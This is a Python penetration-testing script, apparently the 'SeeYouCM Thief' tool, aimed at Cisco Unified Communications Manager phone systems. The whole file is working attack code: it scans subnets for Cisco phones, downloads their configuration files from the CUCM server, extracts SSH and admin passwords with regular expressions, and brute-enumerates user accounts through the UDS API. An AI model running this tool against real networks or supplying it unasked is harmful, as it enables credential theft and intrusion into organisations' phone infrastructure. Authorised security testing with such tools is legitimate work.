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thief.py
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#!/usr/bin/env python3
import argparse
import requests
import re
import ipaddress
import socket
import string
from bs4 import BeautifulSoup
from alive_progress import alive_bar
requests.packages.urllib3.disable_warnings()
def banner():
print(
'''
___________
/.---------.\`-._
// || `-._
|| `-._ || `-._
|| `-._ || `-._
|| _____ ||`-._ \
_..._ || | __ ! || `-._ |
_/ \|| .' |~~|| `-._ |
.-`` _.`|| / _|~~|| .----. `-._|
| _.` _|| | |23| || / :::: \ \
\ _.--` _.` || | |56| || / ::::: | |
| _.-` _.|| | |79| || | _..-' /
_\-` _.`O || | |_ || |::| |
.` _.`O `._|| \ | || |::| |
.-` _.` `._.' || '.__|--|| |::| \
`-._.-` \`-._ || | ": !|| | '-.._ |
\ `--._|| |_:"___|| | ::::: | |
\ /\ || ":":"|| \ :::: | |
\( `-.|| .- || `.___/ /
| | || _.- || |
| / \\.-________\\____.....-----'
\ -. \ | |
\ `. \ \ |
__________ `. .'\ \| |\ _________
SeeYouCM `..' \ | | \ Thief
\\ .' | / .`.
| \.' | |.' `-._
\ _ . / \_\-._____)
\_.-` .`'._____.'`.
\_\-| |
`._________.'
'''
)
def enumerate_phones_subnet(input):
hosts = []
if '/' in input:
subnet = ipaddress.IPv4Interface(input).network
for host in subnet.hosts():
mac = None
url = 'http://{host}/NetworkConfiguration'.format(host=host)
try:
r = requests.head(url, verify=False, timeout=3)
if re.match("^[2]\d\d$", str(r.status_code)):
http_response = requests.get(url)
phone_hostname = re.search(r'Host name.*(SEP[A-F0-9]{12})',http_response.text,re.IGNORECASE).group(1)
filename = "{phone_hostname}.cnf.xml".format(phone_hostname=phone_hostname)
cucm_host = parse_cucm(http_response.text)
return_url = 'http://{cucm_host}:6970/{filename}'.format(cucm_host=cucm_host,filename=filename)
phone_object = {"ip": host, "hostname": phone_hostname, "url": return_url}
hosts.append(phone_object)
print('[*] - Found Phone {phone_hostname} - IP {host}'.format(phone_hostname=phone_hostname,host=host))
except Exception as e:
pass
return hosts
return None
def parse_cucm(html):
cucm = re.search(r'<b>(\S+)\ +Active',html,re.IGNORECASE)
if cucm is None:
return None
else:
if cucm.group(1):
return cucm.group(1).replace('-','-')
def parse_subnet(html):
html = html.replace('\n','').replace('\r','')
subnet_mask = re.search(r'Subnet Mask\ ?</B></TD>\r?\n?\ *(?:<td width="?20"?></TD>)?\r?\n?<TD><B>([12]?[0-9]?[0-9]\.[12]?[0-9]?[0-9]\.[12]?[0-9]?[0-9]\.[12]?[0-9]?[0-9])</B>',html.strip(),re.IGNORECASE)
if subnet_mask is None:
return None
else:
if subnet_mask.group(1):
return subnet_mask.group(1)
def get_hostname_from_phone(phone):
url = "http://{0}/CGI/Java/Serviceability?adapter=device.statistics.device".format(phone)
__http_response = requests.get(url)
if __http_response.status_code == 404:
if verbose:
print('Config file not found on HTTP Server: {0}'.format(phone))
else:
lines = __http_response.text
return parse_phone_hostname(lines)
def parse_phone_hostname(html):
html = html.replace('\n','').replace('\r','')
hostname = re.search(r'(SEP[a-z0-9]{12})',html.strip(),re.IGNORECASE)
if hostname is None:
return None
else:
if hostname.group(1):
return hostname.group(1)
def parse_filename(html):
html = html.replace('\n','').replace('\r','')
filename = re.search(r'(?<!ram\\)((?:SEP|CIP)\S+\.cnf.xml)',html.strip(),re.IGNORECASE)
if filename is None:
return None
else:
if filename.group(1):
return filename.group(1)
def hostname_resolves(hostname):
try:
socket.gethostbyname(hostname)
return 1
except socket.error:
return 0
def get_cucm_name_from_phone(phone):
url = 'http://{phone}/CGI/Java/Serviceability?adapter=device.statistics.configuration'.format(phone=phone)
try:
__http_response = requests.get(url, timeout=2)
if __http_response.status_code == 404:
url = 'http://{phone}/NetworkConfiguration'.format(phone=phone)
__http_response = requests.get(url)
return parse_cucm(__http_response.text)
except Exception as e:
pass
def get_phones_hostnames_from_reverse(input):
hostnames = []
phone_hostnames = []
if '/' in input:
subnet = ipaddress.IPv4Interface(input).network
else:
url = 'http://{phone}/CGI/Java/Serviceability?adapter=device.statistics.configuration'.format(phone=input)
__http_response = requests.get(url, timeout=2)
if __http_response.status_code == 404:
url = 'http://{phone}/NetworkConfiguration'.format(phone=phone)
__http_response = requests.get(url)
subnet_mask = parse_subnet(__http_response.text)
if re.search(r'Cisco Unified IP Phone Cisco Communicator',__http_response.text,re.IGNORECASE):
pass
else:
subnet = ipaddress.IPv4Interface(u'{phone}/{subnet_mask}'.format(phone=input, subnet_mask=subnet_mask)).network
phone_hostname = re.search(r'Host name.*(SEP[A-F0-9]{12})',__http_response.text,re.IGNORECASE).group(1)
if phone_hostname:
hostnames.append(phone_hostname)
for host in subnet.hosts():
try:
hostnames.append(socket.gethostbyaddr(host.exploded)[0])
except socket.herror:
pass
for line in hostnames:
host = re.search(r'SEP[0-9A-F]{12}',line,re.IGNORECASE)
if host is not None:
phone_hostnames.append(host.group(0))
if phone_hostnames == []:
return None
else:
return phone_hostnames
def get_config_names(CUCM_host,hostnames=None):
config_names = []
if hostnames is None:
url = "http://{0}:6970/ConfigFileCacheList.txt".format(CUCM_host)
try:
__http_response = requests.get(url, timeout=2)
if __http_response.status_code != 404:
lines = __http_response.text
for line in lines.split('\n'):
match = re.match(r'((?:CIP|SEP)[0-9A-F]{12}\S+)',line, re.IGNORECASE)
if match:
config_names.append(match.group(1))
except requests.exceptions.ConnectionError:
print('CUCM Server {} is not responding'.format(CUCM_host))
else:
for host in hostnames:
config_names.append('{host}.cnf.xml'.format(host=host))
if config_names == []:
return None
else:
return config_names
def get_users_api(CUCM_host):
usernames = []
base_url = f'https://{CUCM_host}:8443/cucm-uds/users?name='
try:
with alive_bar(676, title="> Identifying Users ", ) as prog_bar:
for char1 in string.ascii_lowercase:
for char2 in string.ascii_lowercase:
prog_bar()
url = base_url+char1+char2
__http_response = requests.get(url, timeout=2,verify=False)
if __http_response.status_code != 404:
lines = __http_response.text
soup = BeautifulSoup(lines, 'lxml')
for user in soup.find_all('username'):
usernames.append(user.text)
except requests.exceptions.ConnectionError:
print('CUCM Server {} is not responding'.format(CUCM_host))
return usernames
def get_version(CUCM_host):
base_url = f'https://{CUCM_host}:8443/cucm-uds/version'
try:
__http_response = requests.get(base_url, timeout=2,verify=False)
if __http_response.status_code != 404:
lines = __http_response.text
soup = BeautifulSoup(lines, 'lxml')
cucm_version = soup.findAll('version')[0].text
print(f'CUCM is running version {cucm_version}')
except requests.exceptions.ConnectionError:
print('CUCM Server {} is not responding'.format(CUCM_host))
return
def search_for_secrets(CUCM_host,filename):
global found_credentials
global found_usernames
lines = str()
user = str()
user2 = str()
password = str()
url = "http://{0}:6970/{1}".format(CUCM_host,
filename)
try:
__http_response = requests.get(url, timeout=10)
if __http_response.status_code == 404:
if verbose:
print('Config file not found on HTTP Server: {0}'.format(filename))
else:
lines = __http_response.text
for line in lines.split('\n'):
match = re.search(r'(<sshUserId>(\S+)</sshUserId>|<sshPassword>(\S+)</sshPassword>|<userId.*>(\S+)</userId>|<adminPassword>(\S+)</adminPassword>|<phonePassword>(\S+)</phonePassword>)',line)
if match:
if match.group(2):
user = match.group(2)
found_usernames.append((user,filename))
if match.group(3):
password = match.group(3)
found_credentials.append((user,password,filename))
if match.group(4):
user2 = match.group(4)
found_usernames.append((user2,filename))
if match.group(5):
user2 = match.group(5)
found_credentials.append(('unknown',password,filename))
if verbose:
if user and password:
print('{0}\t{1}\t{2}'.format(filename,user,password))
elif user:
print('SSH Username is {0} password was not set in {1}'.format(user,filename))
elif password:
print('SSH Username is not set, but password is {0} in {1}'.format(password,filename))
elif user2:
print('Possible AD username {0} found in config {1}'.format(user2,filename))
else:
if verbose:
print('Username and password not set in {0}'.format(filename))
except Exception as e:
print("Could not connect to {CUCM_host}".format(CUCM_host=CUCM_host))
if __name__ == '__main__':
banner()
global found_usernames
global found_credentials
parser = argparse.ArgumentParser(description='Penetration Toolkit for attacking Cisco Phone Systems by stealing credentials from phone configuration files')
parser.add_argument('-H','--host', default=None, type=str, help='IP Address of Cisco Unified Communications Manager')
parser.add_argument('--userenum', action='store_true', default=False, help='Enable user enumeration via UDS API')
parser.add_argument('-p','--phone', type=str, help='IP Address of a Cisco Phone')
parser.add_argument('-s','--subnet', type=str, help='IP Address of a Cisco Phone')
parser.add_argument('-v','--verbose', action='store_true', default=False, help='Enable Verbose Logging')
parser.add_argument('-e','--enumsubnet', type=str, help='IP Subnet to enumerate and pull credentials from in CIDR format x.x.x.x/24')
args = parser.parse_args()
CUCM_host = args.host
phone = args.phone
subnet = args.subnet
verbose = args.verbose
enumsubnet = args.enumsubnet
found_credentials = []
found_usernames = []
file_names = ''
hostnames = []
get_version(CUCM_host)
if enumsubnet:
hosts = enumerate_phones_subnet(enumsubnet)
for host in hosts:
found_credentials.clear()
found_usernames.clear()
if CUCM_host is None:
CUCM_host = get_cucm_name_from_phone(host["ip"])
if hostname_resolves(CUCM_host):
file_names = get_config_names(CUCM_host, hostnames=[host["hostname"]])
for file in file_names:
print('Connecting to {CUCM_host} and getting config for {host}/{hostname}'.format(CUCM_host=CUCM_host,host=host["ip"],hostname=host["hostname"]))
search_for_secrets(CUCM_host,file)
if found_credentials != []:
print('Credentials Found in Configurations!')
for cred in found_credentials:
print('{0}\t{1}\t{2}'.format(cred[0],cred[1],cred[2]))
if found_usernames != []:
print('Usernames Found in Configurations!')
for usernames in found_usernames:
print('{0}\t{1}'.format(usernames[0],usernames[1]))
print("\n")
quit(0)
elif phone:
if args.host is None:
CUCM_host = get_cucm_name_from_phone(phone)
else:
CUCM_host = args.host
if CUCM_host is None:
print('Unable to automatically detect the CUCM Server. Please specify the CUCM server')
quit(1)
else:
print('The detected IP address/hostname for the CUCM server is {}'.format(CUCM_host))
elif args.host:
CUCM_host = args.host
else:
print('You must enter either a phone IP address or the IP address of the CUCM server')
quit(1)
file_names = get_config_names(CUCM_host)
if file_names is None:
if phone:
hostnames = [get_hostname_from_phone(phone)]
hostnames += get_phones_hostnames_from_reverse(phone)
if subnet:
if hostnames == []:
hostnames = get_phones_hostnames_from_reverse(subnet)
else:
_hostnames = get_phones_hostnames_from_reverse(subnet)
if _hostnames:
for host in _hostnames:
hostnames.append(host.rstrip())
if hostnames == []:
file_names = get_config_names(CUCM_host)
else:
file_names = get_config_names(CUCM_host, hostnames=hostnames)
if file_names is None:
print('Unable to detect file names from CUCM')
else:
for file in file_names:
search_for_secrets(CUCM_host,file)
if found_credentials != []:
print('Credentials Found in Configurations!')
for cred in found_credentials:
print('{0}\t{1}\t{2}'.format(cred[0],cred[1],cred[2]))
if found_usernames != []:
print('Usernames Found in Configurations!')
for usernames in found_usernames:
print('{0}\t{1}'.format(usernames[0],usernames[1]))
if args.userenum:
print('Getting users from UDS API.')
#each API call is limited by default to 64 users per request
api_users = get_users_api(CUCM_host)
if api_users != []:
unique_users = set(api_users)
api_users = list(unique_users)
with open('./cucm_users.txt', mode='w') as outfile:
for line in api_users:
outfile.writelines(line)
print(f'The following {len(api_users)} users were identified from the UDS API')
for username in api_users:
print('{0}'.format(username))